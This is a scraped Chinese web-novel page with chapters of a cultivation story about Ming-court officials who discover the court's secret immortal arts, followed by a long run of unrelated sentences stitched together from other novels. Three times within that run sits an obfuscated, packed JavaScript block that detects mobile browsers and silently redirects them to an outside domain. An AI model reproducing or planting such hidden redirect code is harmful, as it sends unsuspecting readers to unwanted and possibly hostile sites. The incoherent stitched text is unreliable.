“刚才那‘圣水’竟然将老夫多年的眼疾给治好了,当真是不可思议!” “你们说,难道这世上真的存在仙神?那诡异的“龙吸水”是从华盖殿地底冲出的吧?” “还有此前,健步如飞的严阁老等人,他们是否早已得到了仙缘?” “朝廷竟然跟仙人有接触吗?” “谁知道呢,或许此次的事情只是个意外……” “意外?亏你能想得出来,若是意外内阁诸老们,怎会直接朝着华盖殿而去?还有这些太监……他们又作何解释?” “……” 奉天殿外的广场之上,百官议论纷纷。 人群中,李志远神情激动,不过他表现的很是克制,他知道的要比旁人多,自然看得出来,今日的惊变,必然会导致朝廷修仙之事暴露。 那么接下来朝廷又会如何做呢? 是向所有人公布,修仙一事确实存在,朝廷已经掌握修仙之法,又或者是与上次,大同边境上,葬灭阴山一事相同,继续“捂嘴”呢? “阁老他们出来了!”这时有人突然喊了一声,指着月色下,远远走来的严嵩等人。 看到严嵩等人出现,阻止百官的紫衣太监们,也在那首领太监的带领下快速离去。 如鬼魅一般的身形,看的百官又是一阵胆寒的同时,心中对朝廷得到仙缘一事越发的坚信起来,否则这些太监为何会有这等超凡之资? “见过裕王殿下,景王殿下,严阁老……”以六部为首,百官纷纷上前,拦住内阁去路。 裕王跟景王对视一眼,他们如何能看不明白,百官拦住他们是为了什么。 毕竟出了这么大的事,百官要是不闻不问,那才是出了问题呢。 若是此前,没有商量好对策的时候,他们还要想着如何应对,但有了严嵩的“不解释”之法,他们自然知道该怎么应对百官。 “这么晚,诸卿还不回去,为何聚集在此?”裕王故作不解的问道。 “……这。”他这一问,反倒是让百官一愣。 不过最终还是兵部尚书李承武率先开口,道:“敢问裕王殿下,宫里到底出了何事,我等都很是担心,还请殿下和阁老们解惑。” 李承武是武人出身,浑身散发着兵痞气息,有他出头,众人也都沉默着等待裕王和内阁解释。 “……” 第一百七十六章 凡人王朝与修仙王朝的区别,严家的生存之道,百官秘会! 听到李承武的询问,裕王看了眼内阁众人,这时严世蕃心领神会,上前一步淡淡道:“地龙翻身,华盖殿塌陷,暗河喷涌,没事了。” 地龙翻身,暗河喷涌? 听到严世蕃轻飘飘解释给出的这八字解释,群臣的嘴角都不由得狠狠一抽。 而开口问话的李承武本就黝黑的面庞,在并不明亮的奉天殿广场上,显得愈发的漆黑。 那么大的阵仗,那冲天而上的“龙吸水”异象,就用“地龙翻身、暗河喷涌”这八个轻飘飘的字就把我们打发了?哄傻子呢是吧? 当然,此时不光李承武等六部高官此刻对这个答案不满,就连张居正等人,此刻听完严世蕃这一番极具敷衍的话也是强忍着没笑出声。 “严世蕃此贼,果然狂妄,这是压根就没有把这群人放在眼里……不过有这样的人在,反而能解决很多不必要的麻烦。”高拱暗暗点头。 “诸卿,”裕王嘴角勾着淡淡的笑意,抬了抬手,略作安抚严世蕃的姿态,而后看向群臣,缓声道:“今日发生的事情太多,再加上天降异象,想必诸位都累了,都回去歇着吧。” “朝廷无事,诸卿尽可放心!” “对了,”说着裕王突然像是想到了什么,又跟着开口道:“今日事发突然,诸位彻夜未眠,明日文华殿议政,可到午时再来。” “……这。”群臣听到这话,还想说些什么,但裕王殿下已经把话说到这个份上了,很显然就是不想告诉他们朝廷到底发生了什么。 如果这个时候,他们再纠缠不清的话,那就是不懂事了,为官多年别的不敢说,对但看眼色行事,察言观色却是基本功。 “臣等遵旨。”没办法,众人只能接受这个解释,“臣等,告退。” 目送李承武等群臣离去之后,裕王和景王对视一眼,而后转身看向内阁中人。至于司礼监的众人,则是在离开华盖殿后便各自散去。 “今日都辛苦了,也早日歇着吧。”裕王说着,语气微微一顿,“百官肯定不会就这么罢休,明日文华殿议政,少不了一番计较。” “此外,接下来大明仙府和大明仙武司也难免不会被群臣联想到什么。” “虽然朝廷对百姓和将士们不便解释过多,但六部、督察院还是要拿出个态度的。” 而在裕王话音刚落,一旁的景王也跟着开口道:“毕竟同朝为官,大家都是同僚,无论如何,都还是要维持着体面的。” “臣等遵旨。”众人纷纷对裕王跟景王行礼告退。 奉天殿外,午门口。 离开的六部、督察院、大理寺、通政使司、翰林院、钦天监等朝廷高官,聚拢在了一起,不过此时,却是分成了三个阵营。 第一个阵营,毫无疑问是李承武这些各部尚书,侍郎为首的,还没有在内阁站队的人。 此前,三教之争,六部督察院等要职,处理了一大批人,权力经过了新一轮的洗牌,新调上来来的,以李承武为首的一群人,至今都没有在清流、严党和新党之间站队。 在这群人看来,内阁最多只能是皇上的近臣、智囊团,他们的主要作用就是为皇上提供意见和对策,以及审核、草拟诏书等。 而他们六部,是直接对皇上负责的,内阁和六部之间,应该再不济也是平等关系。 可是现在不知道从什么时候开始,内阁逐渐掌权之后,居然变成了统领六部。 从来没有在明面上说过内阁,凌驾于六部。可此前,还有不少官员让那个朱老师都是自己的顶头上司,这是不合理的! 所以他们这群满怀抱负的有志之士,要改变这一现状,六部和内阁,要平起平坐。 而抱有这种新思想的,以李承武为首的这群人,在朝中被人私下里称为“均权派”! 第二阵营,则是此前没有被处理的高官,这群人自然是早已站队成了清流、严党两派的人。 新党因为是军方代表,但不论是胡宗宪又或者是王崇古和俞大猷都没有主动拉拢派系,因此武官也大致分为清流和严党,均权三派。 第三阵营,则是众人一致排挤的关系户。 比如:刑部侍郎鄢懋卿,吏部侍郎罗龙文和户部侍郎李志远这三人就是关系户。 毕竟六部、督察院等高层被处理了多少次,这三人始终稳如泰山,甚至一路高升。 这其中,自然是因为鄢懋卿和罗龙文都是严嵩的义子,也是小阁老严世蕃的心腹。 至于李志远,则是户部尚书,同时也是内阁诸老中,赵贞吉赵部堂的心腹。 这三人,新站队的清流和严党派系官员不待见,没站队的更不待见,自然遭到排挤。 “诸位是什么意思?”鄢懋卿皱了皱眉头,看着李承武等人,其中还有几个新站队严阁老派系的官员,眼神中流露出不满之色。 一旁的罗龙文同样是皱着眉头,道:“大家同僚一场,有什么话不能在一起说?非要如此排挤我等?这岂是君子所为?” 朝廷很有可能和传说中的仙人有联系这点,此时已经成为了百官心中默认的事实。 不过可惜的是,即便鄢懋卿和罗龙文是严家心腹,此前他们 对修仙之事依旧是毫不知情。 今日异变发生,突然暴露,百官心乱如麻,都开始在各自的心底里打起了小算盘。 鄢懋卿和罗龙文二人不傻,他们知道此前小阁老没有告诉他们修仙之事,那么很大可能是没打算说,以后也不一定会告诉他们。 所以,有些事情必须要做两手准备。 那就是眼下必须要跟百官团结起来才是。 然而要成为想到的是自己,二人竟然被百官集体排挤。 以往被排挤倒也罢了,他们不在乎,可今时今日仙人存在都爆出来了,严家却没有打算告诉他们的意思,他们唯一能合作的就是百官了。 这个时候突然被排挤,岂不是断他们的路? 想到传说中的仙人可能存在,甚至是内阁诸老,都已经获得仙缘,罗龙文和鄢懋卿的心就一阵火热,浑身上下,就像是猫挠一般。 就觉得,此前贪污的那点钱财和手中的这点权利,与仙缘,长生不死相比起来,真是什么都不算! 此刻,就算是让他们用全部身家来换取关于仙缘的只言片语的信息,他们也是愿意的。 可惜,无门无路! 严家倒是一个门路,可一想到脾气暴躁的小阁老严世蕃,他们顿时就打消了这个念头。 如果小阁老想要分给他们一点仙缘的话,那早就分享了,现在不分享,那摆明了就是没打算告诉他们二人。 这个时候凑上去打探消息只会适得其反。 说不定哪天,他二人的尸体,就出现在了城外的乱葬岗上,甚至是连累全族。 都是人精一般的人物,鄢懋卿和罗龙文能成为严嵩的心腹,有些事情自然一想就能明白。 此时,百官必然也想到了这一层。 所以此刻,这些人间汇聚在一起,很可能就是为了集思广益,从朝廷处获得仙缘。 这个时候把他们排挤出去怎么行? 他们也想听听这些人的法子,也想团结一切可以团结的力量。 相比于鄢懋卿和罗龙文的不爽,一旁的李志远,倒是淡定的多,他早就知道了修仙之事,而且赵部堂早就答应过,会带他踏上仙途。 他跟这些人早已经不是一路人了。 不过,他此刻也没有离开,现在朝廷的了仙缘,眼看着是瞒不住了。 百官此刻汇聚到一起,必然是想着要如何获得仙缘,他觉得自己有必要在这里听一听,然后把百官的想法,汇报给赵部堂。 所以即便被众人排挤,他依旧厚着脸皮没走。 “不走是吧?”兵部尚书李承武是个兵痞,蛮子一样的人,一边站出来,一边撸着袖子,朝着鄢懋卿和罗龙文走去,脸上还有狞笑。 “你要作甚?”看着这个蛮子,鄢懋卿心中没来由的一慌,下意识的退了一步。 一旁的罗龙文也是紧张不已。 李承武这家伙就是一个滚刀肉,此前在文华殿就想要对户部侍郎李志远动手,如果不是那突然而来的惊变打断了他的动作,恐怕早就已经把李致远那死胖子给打的满地找牙了。 此时,看着这滚刀肉要对自己二人动手,鄢懋卿跟罗龙文都有些慌了。 这要是当着百官的面被打了,颜面何在? “怂包,”李承武看着二人,最后将目光放在李志远身上,道:“本官是兵部尚书,自然不会跟你们这几头烂蒜动手,失了身份!” 说完,李承武转身看向身后的其他人,抬起双臂,抱拳道:“诸位,就在刚才,某算了一下,宫门的鼓已经敲了五响,五更天过了。” “五更天已过,天也快亮了,”李承武黝黑的脸上,挂着看似粗犷的笑容,道:“往常这个时候,再过个时辰,就到了上早朝的时候。” “不过裕王殿下体恤我等,让我们午时再来文华殿议政,得益于那神奇的雨水,我看诸位也无心睡眠,不如就到李某府上小叙如何?” 听到李成武这么说,属于众人对视了一眼后都是心下恍然,而后纷纷点头,表示认同。 他们自然明白,李承武让众人去他府上,肯定是为了今日发生的事情,讨论仙人之事。 这个时候,谁要是为了贪睡回自己家,那可就意味着被踢出了接下来的核心圈。 况且,他们刚刚被那神奇的雨水滋润过,此时正觉精神饱满,毫无困意。 见百官都答应了下来,李承武脸上露出一抹笑容,然后大手一挥,带着第一和第二阵营的人,朝着午门外大步离去。 独留下李志远、鄢懋卿和罗龙文三人。 “混账!”眼看着李承武等人如此明目张胆,拉山头排挤自己等人,鄢懋卿怒了。 李志远见此,心中一叹,知道想要探听情报是不可能了,看了一眼身旁脸色铁青的鄢懋卿和罗龙文,而后轻蔑一笑,转身大步离去。 他是瞧不上这两个自诩严党心腹之人的。 为严家鞍前马后多年,真正有好处了,却压根没有被严家放在心里头。 “修仙之事如今已经暴露,刚才二位殿下和内阁诸老却没有解释的意思,我得赶快去找赵部堂问个清楚明白,以防有变!” 想及此处,李志远 急匆匆的迈入自己的轿子,随口吩咐了仆人一句,去赵部堂府上,便急匆匆而去。 “我们怎么办?”鄢懋卿看向罗龙文。 闻言,罗龙文脸色阴晴不定了好一会后,一咬牙,沉声道:“去严府!” “能行吗?”鄢懋卿有些不确定道。 “就算是跪,也要跪出个未来!”罗龙文说着,眼神当中有决绝之色浮现。 说完,也不管身后的鄢懋卿,大步离开。 望着罗龙文的背影凝视片刻后,鄢懋卿也狠狠点了点头,快步跟了上去。 严府,灵田小院,茅草屋里。 严家祖孙三人也聚在了一起,开始商讨着接下来的计划。 “爹,大明仙武司,是否要安插人手?”严世蕃率先开口问道。 闻言,严嵩抬了抬眼,道:“大明仙武司,暂时就不要想了,这一批仙武司的人,都是陆斌亲手培养,可以说是陆家军也不为过了。” 严嵩语气温吞,随手摆弄着桌上的烛火,道:“接下来,仙武卫必然会出现在世人面前,而这些仙武卫也会被安排到军中各处。” “变法开始的同时,军中也要完成与仙武卫的全面替换。” “倒是可以让汝贞,安排一些年龄小的孩子,送去帮我严家训练一批护卫。”说着,严嵩看向严世蕃,“世蕃,你记住了,不论未来朝廷发展有多快,仙朝大军有多少,军权不论何时都不要去碰,这是我严家的生存之道!” 说完不等严世蕃说话,严嵩又将目光看向一旁乖巧坐着,认真听着的孙子严绍庭。 一双老眼,凝视着孙子和二子。 “你们都要记住,我严家的目标是成为这大明朝第一修仙家族,家族势力甚至可以触及大明每个角落。” “但你们要记住,我严家,不论到什么时候,都要主动给皇上留下一个,可以对我严家一击致命,甚至是万劫不复的缺点!” “只有如此皇上才能放心的将我严家,始终当做是一个趁手,好用,不会噬主的好刀!” “……爹!”听到这话严世蕃一急,就要说些什么,却被严嵩抬手打断,“我知道你想说什么,你担心皇上突然有一天对严家发难。而到了那时候,严家甚至没有丝毫反抗的余地……” “没错!”严世蕃见自己的心思被老爹戳破,当即道:“爹,我明白你这么做是想让皇上放心,可也不能真的不给自己留后路吧?” “此前您还知道,让胡宗宪留守东南,万一哪一天皇上要对严家动手,只要胡宗宪在东南沿海一带不倒,我严家就不会倒。” “这好歹还有个倚靠,可是为何发展修仙家族了,反而不设防了!” 严世蕃看来,就算想要让皇上放心,那严家也好歹要设防吧? 俗话还说了,伴君如伴虎! 万一哪天皇上不想让严家长存下去,甚至是皇上哪天要退位的话,新皇登基,又岂能容得下严家这么一个庞然大物? 所以在严世蕃看来,不管怎么着,都要给自己留一条后路。 日后修仙家族存在几十年,上百年,上千年,甚至是上万年。如此家族传承,若是被朝廷说灭就灭的话,他真的是不甘心! “呵,”听到严世蕃的这一番话,严嵩却是轻笑一声,转头看向孙子严绍庭,笑呵呵道:“你看,你爹又急了。” 面对爷爷对父亲的调笑,严绍庭自然是不敢说什么,只能低下头去不说话。 “世蕃,”严嵩语重心长的轻叹一声,道:“你说,修仙是为了什么?” 闻言,严世蕃一愣,不过还是道:“修仙,修仙自然是为了成仙了。” “修仙可长生否?”严嵩又问道。 “自然不能,”严世蕃还是有些没反应过来,不过他已经习惯了老爹问话的方式,“按照吕公公此前所说,凡人极限寿元是百岁,修为达到练气期,寿元上限是一百五十岁,筑 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片刻后,严世蕃猛的一个激灵,一时间,呼吸都不由变得急促起来,经过老爹严嵩的这么一提点,他 顿时有种恍然大悟之感。 他这才明白,自己的思想,还是没有从凡人转变过来,没有学着用修仙者的角度去想问题。 凡人的权力,来源于一群人服从于一个人的意志,由一个人来制定规则。 普天之下莫非王土,率土之滨莫非王臣,这就是王朝的本质! 而修仙者的权力来源于自身,只要你修为足够强大,那么你就可以是那个制定规则的人。 而一个修仙王朝,就是将一群修仙者,聚集在一起臣服于一个修仙者,二者的表面看似没有什么变法,但本质上却已经变了。 凡人王朝,缺了谁都可以有人顶上! 可修仙王朝,若是缺了一个站在顶尖的修者拥护皇权,那就是皇权的损失,顶上的可不多,若你是仙人一般的存在,那就更不可或缺。 毕竟,修仙越到后面,能修到顶峰的可寥寥无几。 只要你是这修仙王朝不可或缺的一个存在,那么你和你身后的家族,也会不可替代。 而这,也是发展修仙家族的原因。 因为即便是家族创始人,也不一定确定自己能走到最巅峰,所以就要发展家族后辈。 若是家族当中有人可以站到最巅峰。如此一来有这个巅峰之人庇护,家族便可安然无恙。 “时代变了,”严嵩语气温吞,“一定要站在修仙者,和修仙家族的角度看待问题。” “凡人王朝那一套,在治国上可能不会大变,但用于家族保命,终究有些跟不上了。” “只有在前期,皇上还没有退位之前,严家保持绝对的服从,好好发展家族。” “打铁,还得自身硬才是硬道理!” “呼!”严世蕃深吸一口气后吐出,而后沉声点头,道:“是,爹,儿子明白了……” “嗯,”见严世蕃明白了,严嵩便不在这件事上多说,话锋一转,道:“接下来百官肯定不会这么罢休,我们也要行动了。” 收起心中思绪,严世蕃一挑眉,道:“爹的意思是,可以在朝中重新发展派系了?” “嗯,”严嵩点点头,语气温吞道:“从整顿吏治开始,内阁以下,六部、督察院、大理寺、翰林院和钦天监这些官员换了一茬又一茬,不论是我严家一系,还是清流一系,都换了不少人,直到三教之争又进行了一次洗牌。” “接下来,你要变法,修仙之事也会逐步放开,不出意外的话,这一批新上来的官员,都有可能会被赐下仙法,踏上修仙之路。” “毕竟仙朝不可能仅仅只有内阁这些人。” “至于下一次,内阁之下的权力洗牌会在什么时候开始,这就不得而知了。” “百年、千年,数千年都有可能……修仙家族发展,也需要可用之人。” 听到老爹这么说,严世蕃点了点头,表示明白。 “咚咚咚。”这时,只听灵田小院门口,有敲门声响起,跟着就听仆人大声道:“老爷,鄢懋卿鄢侍郎和罗龙文罗侍郎求见!” 听到仆人的喊声,严嵩抬眼看向严世蕃:“想必是为了今日之事而来,你怎么想的?” “鄢懋卿跟罗龙文都是可用之人,”严世蕃语气迟疑,道:“儿子的意思是可以用着,若是日后有了更好的人选,大不了舍去就是。” “就算日后给其赐下仙法,想要舍弃,随便打发一个偏远之地,灵物资源供给不足,迟早有一天也不过是黄土一抔而已……” “至少眼下这二人用习惯了,换了旁人,有些事情也不一定能办好。” “嗯,”严嵩点点头,“我累了,这些你看着办就是。” 见此,严世蕃给儿子严绍庭使了个眼色,然后父子二人起身躬身一礼后退出茅草屋。 兵部尚书,李承武的府上。 此时,第一阵营和第二阵营的人都汇聚在一起,这里头有已经站队严党的,也有站队清流的,更有新调到六部、翰林、督察院的。 此刻,这群内阁之下的高官,正进行着一场秘密会议! 所有人都将目光看向上首位置的李承武。 “诸位,”此时,李承武这位兵部尚书,看起来依旧是一副滚刀肉,混不吝的模样,可气质上,已经完全变了,“变天了!” 一句“变天了”,让在场众人的面色都是一凝。 “大家聚集在此为了什么,都心知肚明,李某也就不再废话,直接入正题了!”说着,李承武对众人一抱拳,道:“今日那‘龙吸水’异象,还有那堪称神灵赐福一般的‘仙霖’,大家都亲眼看到了,也切身感受到了。” “还有此前,嘉靖四十年,葬灭阴山,天降祥瑞异象,覆灭鞑靼精锐,以及此前天穹之上,出现仙人虚影,”李承武说着,沉声道: “这说明,朝廷早在九年前,甚至是更早之前,就已经与仙人有了联系,得到了仙缘。” “内阁诸老,今日雨中健步如飞的场景,大家也是有目共睹,还有二位殿下对此事的态度,说明朝廷,真的隐瞒了仙人之秘!” “我就想问诸位一句,你们是否也想要拥有仙缘?” 此刻的李承武,哪里还有此前那粗鄙武人的模样,这分明就是 一个粗中有细之人。 “李部堂,”这时,翰林院的掌院学士,名叫杨守诚,是个身形清瘦,双眼深陷的老者,他拱了拱手,道:“就算朝廷有仙缘,内阁诸老也已经得到了这份仙缘,我等又该如何获得?” 其他人闻言,也都点了点头。 就算朝廷真的可能与仙人接触,并且皇上他们和内阁诸老,都已经得到了仙缘,可这东西必然会是绝对的机密,他们如何能得到? 不过众人看着李承武这一副胸有成竹的模样,心中却隐隐期待了起来。 期待其真的可以拿出个切实可行的法子来。 “……” 第一百七十七章 严嵩可往,我亦可往! “我知道,在场诸位当中,有严党,也有清流派系,”李承武没有立刻回答翰林学士杨守诚的话,而是自顾自道:“其实,我想要告诉诸位的是,得到仙缘,并不难!” 得到仙法并不难?听到他这么说,众人都是一愣,一时间倒是有些没反应过来。 朝廷得到想仙缘,必然是绝密中的绝密,内阁诸老能得到,仙缘,那是人家 按照惯例,每逢国战,很大的可能会派皇子前来督战,一来以示圣上的重视,二来也是为了历练皇子。虽然朝廷的消息还没传来,但军营中早就有人开始猜测了。 刀干孟打开木门的一瞬间,就发现里面居然有人,而且两个黑漆漆的东西指着他,这让他无比震惊。 龙六忽然贱兮兮地笑了笑,学龙二抱穆念安的样子,揽着龙五的腰际。 林依依听着这些抱怨的声音,脸上闪过一丝的不自在,但是想想到时候大家对林蓉蓉的愤怒,脸上的羞愧一下子就又没有了。 黄福都不禁心疼,自己都吃不起,还拿给狗吃,这年头狗的待遇比人还好,可水果大花狗还不吃,要吃什么鸡肉,鸭肉,只要是肉都能吃,它还吹着空调,人就没有这么好的待遇,黄福想想都不禁心疼,看来自己要努力了。 真正的流眼泪,陆衍还是第一次看到,一时间心底竟然生出陌生的慌乱感。 让陷阱暴露无遗,这样更好悍马战车绕过陷阱。他们倒不是怕陷阱,而是怕车子掉进陷阱有影响而已。 首先,就是龙首关的城墙之上的木楼,炮弹瞬间落下,在木楼上爆炸,顿时,一股巨大的力量和气浪朝着四面阔山出去,激射出去的弹片将四周都形成了一个绞杀的领域。 但他心里也清楚,看似主使这一切的王羽音,其实不过是和自己一样的棋子,是别人挥出去的一把刀。 目送着他们走远,陈韶也从二堂出来,转身准备回乘风院时,看到随傅九过来的王聪,嘴角浅不可察地勾了一下:果然是个聪明人。 山鸡被父亲扔在了地上,一开始两只脚还扑腾了几下,到后来就彻底不动了。接着父亲又用同样的方法杀掉了一只鸭子,鸭血也被装在了另外一个碗里,只要放置一段 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权力的游戏,独属于清流的危机!吴承恩惊坐而起! “原因很简单,因为诸位忽略了一个事实,”见众人都看向自己,李承武开口道:“诸位需要明白一个道理,凡事有得必有失,想要得到什么,就必须要有所付出。” “仙缘也必然是一样的道理。如果仅仅只是需要尔等献上忠诚的话,那这仙缘获得的是否太过廉价了一些?” 听到这话,众人目光都是微微一凝,看向李承武 十块的烟,在霖县算是马马虎虎,可在霄城市,那就算是最低档的烟了,也是拿不出手的。 刘芸和肖剑对视了一眼。赵八两提出的这个,刘芸和肖剑倒是没有考虑到。 显然,陈富贵的记忆已经不是太全,仅仅是几抹残存的记忆,却能把他吓的这样? “你……要不你捏捏我?你喜欢我,感觉像是在做梦。”许默颜傻呼呼地说,真的抬起他的手就往自己脸上靠,要让他捏她。 “这次陪好了,会给你升岗,你自己也好好好的利用这次机会。”吴经理说得语重心长。 “没有呢,我也是刚回来没多久,还在收拾,顺便等你。”郑云彤说道,听声音没什么困意,确实是还没睡的样子。 “如虹,去取了我的木匣子过来”,吴忠稍微冷静后对着如虹吩咐到。 怎么才能把他甩开呢,阳叶盛有点头大,因为看路易十四的意思,似乎根本没打算放过阳叶盛。 “立春姑娘,我家夫人托我送些东西过来,她说她不便于亲自过来,望你莫怪”,玉珠手中拿着一个沉甸甸的包袱。 一只只亡魂从窗外涌入,四溢的阴气中还夹杂着魔气,很显然,这些亡魂是被碧色的魔气所控制,而碧色那双不断泛起绿光的眸子,却直接折射到了我的眼前。 从六年前开始,每年林古村路家清明节,他都回来一次。这个男人且在四年前,在旧桥村开发了一个地下影视城,老五接下了他不少工程。 青莲始终站在身后,见呼延暖心坐了大半天在也没有再做出危险动作,也逐渐放松了下来。不时的陪呼延暖心说说话。 ——“咔嚓”一声响,从陈岩手中长刀所挥出的劲气,将前方数丈以外的一根圆木轻松劈成两截。虽然已经不是第一次见到如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋恒箭步急速冲上楼去,黑衣人们不要命一般地阻拦,宋恒又陷入一番苦战当中。 宋恒也不是那种无良资本家,人家正要浪漫呢,自己就别添乱了。 对方的法力,比他想象中还要浑厚,所以这才一出手就将他压制击退,不过,他毕竟也是炼气十层的修为,而且天生体魄强壮,气血浑厚,哪怕连番被冲击压制,但却没有真正受到什么致命的创伤。 要说他真不在乎这点份例,问题是他前脚给姜娴封妃,后脚前朝议论的折子能淹死他,可看人这回遭了大罪,他不忍拒绝。 一帮老臣资历深,互结姻亲,从先帝那会儿就一直连成一气,倒不是真想皇帝死,而是想把皇上架空,养大自己的权力。 半个时辰后,许昌东城有名的凉州面馆。三层门面,坐的满满当当的。 王红梅见有外人来,虽然只是两个少年,可通身的富贵却不敢让人直视,只点点头。 苏先生笑了笑,没有再多说什么,因为再说,他怕这条狗当场呲牙汪出声来。 越来越多的金光好似潮水涌出,瞬间将棋盘粉碎,弥漫而出,周围的葵花在金光中摇摆晃动,好似欢呼一样。 这天晚上,玛利亚没有去夜总会上班,因为她今天休息。她躺在沙发上睡着,可她睡觉轻,半夜被什么声音惊醒了,她睁开惺忪的眸子,仔细一听,发现从卧室里传来伊万断断续续的喊声。 景容却不出声了,一副关我什么事情的模样,然后一翻身,闭眼睡觉。 冷苒哭着点头,不敢再往哪棺木看,也不敢多问,唯有听到耳边那棺木震动的声音越来越远。 宁缄砚显然是不知道低调为何物,一家三口出门,他将厚厚抱了起来,不容祁安落反驳的紧紧的握着她的手,十指相扣。趁厚厚不注意时,他还会迅速的偷偷的亲一下祁安落的脸颊,哪还有初见时的清冷样儿。 随着一声恐怖的巨响,黑白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669396|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两色光芒笼罩了整个赛场,在场数亿观众,都感到一股莫名压抑的气息。 但是这样一来,仙魂石碎片的力量会被消耗,到时候要面对何福他们,就更加吃力了。 毕竟最近谷里都知道,她这风寒托了半个月不好,让他们订亲的气氛都冲淡不少。 当赵仁凡想通了这些事情,之后,他忽然感觉到,浑身一股淡淡的暖流流过。 不一会儿就听到了有人轻轻的敲门,我迷迷糊糊的睁开眼然后被那棚顶挂着的东西闪瞎了狗眼。是梦吧,揉了揉眼睛坐了起来,似乎新一天的生活开始了。 乾隆惊讶的瞪大了双眼,万万没有想到萧燕会忽然来这一招,不禁愕然。 星月坐在浴桶里只露出一个脑袋,心脏却因风无垠的出现而砰砰跳动。 看那身上的校服,还是个学生吧?现在的学生们都混的比他们还要流弊了? 而且从现有情报推断,普拉迪诺和本杰明酋长很可能也拥有某些超自然力量,但这个两个家伙还算克制,并没有肆意使用超自然力量,但沉睡镇下面的东西却让罗夏感到有些压力,尤其是他还没有搞清楚那个东西到底是什么。 第一百八十章 贪玩的朱翊钧 看着闹哄哄,态度空前强硬,一副想要逼宫模样的百官,裕王的脸色猛的沉了下来。 当然此刻就连一旁的景王脸色也有些不好看,虽然他跟裕王平日里不是很对付,可说到底他们代表的是皇族。 百官逼宫虽然是在请示裕王,但他也在协理内阁,这就是在向他示威,挑衅! 眼看着裕王跟景王的脸色变得难看了起来, 既然没自己什么事儿,随后庞学峰姜明妃在和邓洁告别了之后也离开了专卖店。 张子明的这个借口也很充分。杨振业也不好说什么,也表示了对张子明这个决定的支持。 藏展部找我做什么?秦冥有些疑惑,示意刘雯静把电话转到他办公桌的座机上。 对方五星玄武境的实力,自己倒是不怕。如今自己灵武境顶峰,聚星阶段,只要突破,再加上天道金晶焱,应该没有问题。 “秦哥,你回来了,一路上还顺利吗?”周芷怡淡淡的打招呼道。 她进入这个【古墟酒馆】,也是因为,这里鱼龙混杂,消息来源的渠道多。 宋晓乔的目光之中,闪过悲伤绝望之意,有泪珠儿落,但是白皙的手,却坚定地拿起了木盒,然后转身,开门,离去。 “事先我就说了,如果我出手,保证让鲁伯特无地自容,他想当我的情敌还差早呢,这下相信哥不是吹牛了吧?”秦冥洋洋得意道。 “傻丫头,你还不了解我?这有什么好准备的,你爸要是弄个大场面……我真不敢去!”张清扬含笑拍了拍她的头。 他清晰的感觉到,自己的十根手指鼓鼓胀胀、还有些钻心的疼痛,像是有什么东西要长出来似的。 于是,聂斌再次语重心长地劝导起来,几乎把他脑海中能想到的一切话语都一股脑儿丢了出去,希望可以安抚柳梦茹的情绪。 相对门的冒险家协会与万民堂在此时显得颇为孤独,周围的几家店铺都关着门,大街上也并没有几个行人。 可惜这把如意算盘打的不是那么的好,想着找个软柿子捏,这回怕是踢到铁板了。 若非尸邪教的人极为谨慎,而他顾忌对方的报复,早就直接动手了。 “停下!”中年教主眸子变的通红,他知道一定是那家伙的手段,顿时不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669397|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切都冲杀上去。 可是所有人都告诉她,她已经病入膏肓了,根本生不下这个孩子。 类似于游戏厅里街机的高分榜,这个榜单的作用就是把排名最高的十名玩家显示在上面。 她不过是随口诵句诗,这已经是第二次被他撞见了,怎么会这么巧……他会不会觉得她故意在他面前卖弄学识? 清闻言不由得一愣,自称是剑神的传人,那就是仙人,寿命以百年作为计算,与人类相比差距很大。 接下来的时间,李安就留在公寓里面言传身教,传授念雨分影术。 看着面前这好像是立体影像的老者,魏索不知道该如何形容自己的心情,他凌乱了,先不说自己是怎么出现在这个地方的,就说面前这犹如真实的立体影像也不是现代科技能够展现出来的。 嘻嘻哈哈的把这事儿掀过去,单氏、常山婶子心里都是挺惋惜的。徐苗跟徐芙同岁,不过就是因为生意的关系,所以一个是姐、一个是妹。 “那这两盒米粉多少钱?我算钱给您,我总不能要您做姑婆的买米粉给玉兰吧。”说着我从手提包里取出二十元。 第一百八十一章 还是白纸的朱翊钧,灵气复苏下的大明 听到朱翊钧说要找皇爷爷,冯保顿时低下了脑袋,不敢多言一句。 世子想干什么,那是世子的自由,世子说的话,有的他可以接茬,但有的他是万万不能僭越的,否则就是大不敬了。 到时候,干爹都保不了他! 早在司礼监其他人被允许修仙之后,吕芳就已经向嘉靖讨了一个好,为自己的几个干儿子求了仙法。 人家是公主,最重要的是她已经成亲,他怎么能有那种想法,实在不该。 那锅子吴妈不常用,她一是搞不定那麻烦的调节步骤,二是总觉得这样做饭怪得很,不如明火烹饪实在。 心里正想着如何从草泥马这里攀一点关系,就在路上遇见了自己的儿子。 刚一跟曹操见面,刘烨就好似,多年不见的老朋友一般,非常热情的跟曹操,寒暄起来,而曹操对于刘烨的热情接待,也都一一回应着。 开什么玩笑,我和你们一样么?你们知道我甘心在这里忍耐了这么久,为的是什么么? 